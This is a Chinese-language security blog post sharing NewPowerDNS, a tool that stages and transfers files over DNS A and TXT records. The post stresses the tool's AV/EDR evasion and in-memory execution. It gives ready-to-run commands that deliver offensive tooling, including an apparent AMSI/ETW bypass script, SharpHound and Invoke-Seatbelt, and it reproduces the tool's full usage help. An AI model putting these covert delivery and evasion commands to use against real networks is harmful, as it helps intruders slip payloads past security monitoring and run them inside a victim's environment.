使用DNS A记录传输文件的小工具 | NewPowerDNS | 数据渗出工具
作者:Sec-Labs | 发布时间:
项目地址
https://github.com/icyguider/NewPowerDNS
NewPowerDNS
NewPowerDNS是@domchell的PowerDNS的更新版本。增加的主要功能是支持使用DNS A记录传输文件。以下是所做修改的完整列表:
- 支持通过DNS A记录进行传输
- 使用gzip压缩以减小文件传输大小
- 支持传输所有类型的文件
- 新的加载器可轻松混淆或逐行运行,以避免被AV / EDR阻止
- 可打印、执行或保存传输的文件选项
- 从python2更新到python3
除了python3之外,唯一的依赖项是scapy。可以通过pip轻松安装,如下所示:
python3 -m pip install scapy
请参见以下视频,演示如何在DNS A和TXT记录中传输文件:
示例和用法
将powershell脚本通过DNS A记录传输并打印到控制台:
python3 NewPowerDNS.py --file AmSeeETWBP.ps1 --domain sub.domain.com -r A -a print
将exe文件通过DNS TXT记录传输并保存到磁盘:
python3 NewPowerDNS.py --file SharpHound.exe --domain sub.domain.com -r TXT -a save
通过DNS TXT记录传输Powershell脚本并自动加载到内存中:
python3 NewPowerDNS.py --file Invoke-Seatbelt.ps1 --domain sub.domain.com -r TXT -a exec
一般用法:
___ ___ _ _ ___
| . \ ___ _ _ _ ___ _ _ | . \| \ |/ __>
| _// . \| | | |/ ._>| '_>| | || |\__ \
|_| \___/|__/_/ \___.|_| |___/|_\_|<___/
DNS A Record & updated stager version by @icyguider
Original version by @domchell
usage: NewPowerDNS.py [-h] [-f <file>] [-d <domain>] [-a <action>] [-r <record-type>] [-i <interface>]
optional arguments:
-h, --help show this help message and exit
-f <file>, --file <file>
file to transfer
-d <domain>, --domain <domain>
domain with auth NS record
-a <action>, --action <action>
action to perform once data is transferred (options: save, exec, print)
-r <record-type>, --record-type <record-type>
type of DNS record to use for transfer (options: A, TXT) (default: TXT)
-i <interface>, --interface <interface>
interface to bind to (default: eth0)
标签:工具分享, 内网渗透